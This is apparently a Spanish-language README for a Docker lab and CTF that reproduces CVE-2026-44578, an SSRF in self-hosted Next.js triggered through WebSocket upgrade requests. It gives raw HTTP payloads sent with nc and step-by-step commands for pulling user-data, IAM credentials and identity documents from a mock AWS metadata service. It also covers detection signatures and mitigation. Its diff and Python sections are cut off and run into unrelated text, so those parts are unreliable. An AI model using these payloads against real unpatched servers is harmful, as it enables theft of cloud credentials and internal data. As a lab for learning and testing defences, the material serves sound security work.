## https://sploitus.com/exploit?id=E8810890-D746-5112-B911-C579AD782386
# CVE-2026-44578 — Next.js WebSocket Upgrade SSRF (Laboratorio)
Laboratorio autocontenido para reproducir la vulnerabilidad **CVE-2026-44578**
(CWE-918, SSRF) en aplicaciones **Next.js self-hosted** que usan el servidor
Node.js integrado.
| Campo | Valor |
|---|---|
| CVE | [CVE-2026-44578](https://nvd.nist.gov/vuln/detail/CVE-2026-44578) |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS 3.1 | **8.6 HIGH** (`AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N`) |
| Tipo | SSRF (CWE-918) |
| Versiones afectadas | Next.js 13.4.13 – 15.5.15 y 16.0.0 – 16.2.4 |
| Versiones parcheadas | 15.5.16 y 16.2.5 |
| Autenticación | ninguna |
| Interacción de usuario | ninguna |
## Topología del laboratorio
```
Atacante (host: 0.0.0.0)
│ HTTP :3000 (público)
▼
┌──────────────────────────┐ mismo namespace de red ┌─────────────────────┐
│ nextjs-vuln │ localhost:80 ──────────► │ imds-sidecar │
│ Next.js 15.5.0 │ │ Fake AWS IMDSv1 │
│ "Nimbus Analytics" │ │ (credenciales, │
│ (servidor Node integrado)│ │ user-data, índice) │
└──────────────────────────┘ └─────────────────────┘
```
- **`nextjs-vuln`** (puerto `3000`): la app vulnerable, expuesta a `0.0.0.0:3000`.
- **`imds-sidecar`**: mock del metadata service de AWS que vive en
`localhost:80` **dentro** del namespace del container de Next.js, modelando
una instancia real en la nube. No es alcanzable desde el host directamente
(no hay puerto publicado).
```
CVE-2026-44578/
├── docker-compose.yml
├── exploit/
│ └── exploit.py # PoC automatizado (5 probes)
├── imds-mock/
│ ├── Dockerfile
│ └── server.py # Fake IMDSv1 + rutas secretas
└── nextjs-app/ # App realista "Nimbus Analytics"
├── app/
│ ├── globals.css
│ ├── layout.js # navbar/footer
│ ├── page.js # landing
│ ├── api/health/route.js
│ ├── login/page.js
│ ├── pricing/page.js
│ └── dashboard/page.js
├── Dockerfile
└── package.json # next@15.5.0 (vulnerable)
```
## Por qué es vulnerable
El upgrade handler de WebSocket en `router-server.ts` llama a `proxyRequest()`
cuando el URI parseado tiene `parsedUrl.protocol`, **sin** verificar los flags
`finished` y `statusCode` que el handler HTTP normal siempre emitió:
```diff
// vulnerable ( HTTP/1.1
Host: 127.0.0.1:3000
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
```
La presencia de las cabeceras `Connection: Upgrade` + `Upgrade: websocket` hace
que el request caiga en el handler de upgrade vulnerable en vez del handler
HTTP con las verificaciones de seguridad.
## Levantar el laboratorio
```bash
docker compose up -d --build
```
Verificar que la app responde:
```bash
curl -s http://127.0.0.1:3000/api/health
curl -s http://localhost:3000/ | head
```
Para dejarlo funcionando en `0.0.0.0`, el mapeo de puertos en
`docker-compose.yml` ya expone `3000:3000` en todas las interfaces.
## Explotación manual
### 1. Usando netcat (`nc`)
```bash
printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000
```
### 2. Usando Python puro (stdlib, sin dependencias)
```bash
python3 - **Reto CTF:** hay **4 flags**, y cada uno es un **artefacto real** de la
> cadena de explotación SSRF contra AWS: (1) user-data del boot, (2)
> credenciales IAM, (3) identity document, (4) config de un servicio interno.
> Sus valores **no están publicados**. Navega los índices (`/` → `latest/` →
> …) y seguirás de banner en banner; el script de user-data te dice dónde
> vive el cuarto. No hay que adivinar rutas: el 404 solo te delata que estás
> inventando un path que no existe.
## Guía de resolución (spoilers graduales)
> Versión completa con la cadena flag→flag en su propio documento:
> **[SOLUCION.md](SOLUCION.md)** (cada flag te da la pista del siguiente,
> fuera de este README).
**La regla:** cada flag tiene una pista, una **traba** y la solución. Primero
intenta con la pista; usa la traba cuando estés atascado. No hay rutas
ocultas: nadie falaza, todo se navega.
**Dos avisos antes de empezar:**
1. **El helper `ssrf()` ya está listo** en **[SOLUCION.md](/SOLUCION.md) →
Preparación**: cópialo y úsalo para el resto de la guía. Envía un request
`GET http:///` con `Connection: Upgrade` + `Upgrade: websocket`.
2. **Los flags viajan cifrados en base64.** En las respuestas verás blobs
`RkxBR3…` (base64 de `FLAG{…}`). Descifralos:
`echo | base64 -d`.
### Flag 1 — user-data (el más fácil)
- **Pista:** ¿qué devuelve un GET a `/latest/user-data`? Es lo primero que
comprueba cualquier atacante en AWS.
- **Traba 1 (índices 301):** las carpetas se listan con `/` al final.
`ssrf latest/meta-data` te da `301 Moved Permanently` y `Location:
latest/meta-data/`. = "Sígueme". Con nc no hay seguir automático: repite el
pedido **con el slash**.
- **Solución:**
```bash
ssrf latest/user-data
```
En el body: el script de booteo con `DB_PASS=…` (**Flag 1** está ahí dentro),
y una línea `curl -s http://internal/config` que es el mapa del Flag 4.
### Flag 2 — credenciales IAM
- **Pista:** navega `latest/meta-data/iam/security-credentials/` y pide el rol
que aparece.
- **Traba 2 (el `Token` no es relleno):** el `200` trae un JSON largo.
`AccessKeyId`/`SecretAccessKey` saltan a la vista; el **Flag 2 no está
ahí**: el campo `Token` es una sola cadena base64. Descifrala.
- **Solución:**
```bash
ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role
```
### Flag 3 — identity document
- **Pista:** `latest/meta-data/` no es el único árbol. Mira el índice raíz:
hay un `dynamic/` que casi nadie abre.
- **Traba (redirección encadenada):** `dynamic/` → `instance-identity/` →
`document`. Son tres escalones; en cada uno tu `ssrf` debe terminar en `/`
(excepto `document`). Gente se pierde por no re-solicitar tras el 301.
- **Solución:**
```bash
ssrf latest/dynamic/
ssrf latest/dynamic/instance-identity/
ssrf latest/dynamic/instance-identity/document
```
El JSON de identidad incluye una **clave `FLAG`** con el Flag 3 (en base64).
Si tu serie de comandos devolvió `301` en el segundo escalón, agárrrate la
lección de la Traba 1.
### Flag 4 — config de un servicio interno
- **Pista:** el Flag 1 (user-data) confesaba la dirección: `curl -s
http://internal/config`.
- **Traba (¿qué es "internal"?):** desde el atacante `internal` no resuelve.
"internal" es un alias **del lado del servidor**, no tuyo. No cambias el
host: el SSRF siempre aterriza en `localhost:80`; solo eliges el **path**.
- **Solución:**
```bash
ssrf internal/config
```
Verificación de los 4 (blob base64 → decodificado):
```bash
ssrf latest/user-data | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/dynamic/instance-identity/document | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf internal/config | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
```
4/4 flags en mano. Si alguno no te sale `FLAG{...}`, ya sabes: revisa el
curl de user-data (traba del Flag 4) o el `/` de los índices (traba del Flag 1).
Uso manual, por ejemplo credenciales IAM:
```bash
printf "GET http:///latest/meta-data/iam/security-credentials/lab-ssrf-role HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
```
Resultado esperado — la respuesta llega con `server: BaseHTTP/0.6 Python/3.12.x`
(el mock), **no** con el banner de Next.js, lo que prueba que la petición fue
hecha por el servidor hacia `localhost:80`:
```http
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14
content-type: text/plain
{"Code": "Success", ..., "AccessKeyId": "AKIA-FAKE-ACCESS-KEY-ID", "SecretAccessKey": "FAKE/Secret+Access/Key+1234567890abcdef", ...}
```
## Resultado del PoC
El PoC verifica el SSRF pero **censura los flags**: los blobs base64 de los
`FLAG{...}` y los `FLAG{...}` en claro se muestran como texto censurado. Los
valores solo se obtienen por exploración manual (sección CTF de arriba).
```
--- IAM Creds ---
HTTP/1.0 200 OK
{"Code": "Success", ..., "Token": "RkxBR3******** (flag cifrado: explotacion manual) ***"}
--- User Data ---
HTTP/1.0 200 OK
#!/bin/bash
flag=RkxBR3******** (flag cifrado: explotacion manual) ***
```
## Limitaciones de la vulnerabilidad
- **Solo GET** (no POST/PUT).
- **Solo puerto 80** (el hostname se pierde en la normalización de `http:///`).
- **IMDSv2** no explotable (requiere PUT para el token).
- **Metadata de GCP** no explotable (rechaza `Upgrade: websocket` con 400).
- **Vercel-hosted** no afectado.
- Detrás de un reverse proxy (nginx/Caddy/HAProxy) las URIs absolutas suelen
bloquearse.
## Verificación de "parcheado"
Para confirmar que el parche (Next.js ≥ 15.5.16) bloquea el ataque, cambia la
versión en `nextjs-app/package.json` a `15.5.16`, reconstruye y re-ejecuta el
mismo payload: la conexión se cierra sin devolver datos.
## Detección
Firmas en logs del proceso Next.js:
- `Failed to proxy http:/` — el proxy se disparó pero el destino era inalcanzable.
- Requests cuya request line contiene un URI absoluto con `http:` junto a
cabeceras `Connection: Upgrade` / `Upgrade: websocket`.
## Mitigación
- Actualizar a **15.5.16 / 16.2.5** o posterior.
- Si no se puede actualizar: bloquear upgrades de WebSocket en el proxy inverso
y aplicar IMDSv2 (`HttpTokens=required`) en AWS.
- Ejemplo nginx para rechazar URIs absolutas:
```nginx
if ($request_uri ~* "^https?://") { return 400; }
```
## Referencias
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-44578
- GHSA: https://github.com/advisories/GHSA-c4j6-fc7j-m34r
- Fix commit: https://github.com/vercel/next.js/commit/c4f69086cc8dcbd81b1dbc321c98ea874d90d6f8# CVE-2026-44578-next-js-ssrf
# CVE-2026-44578-next-js-ssrf
# CVE-2026-44578-next-js-ssrf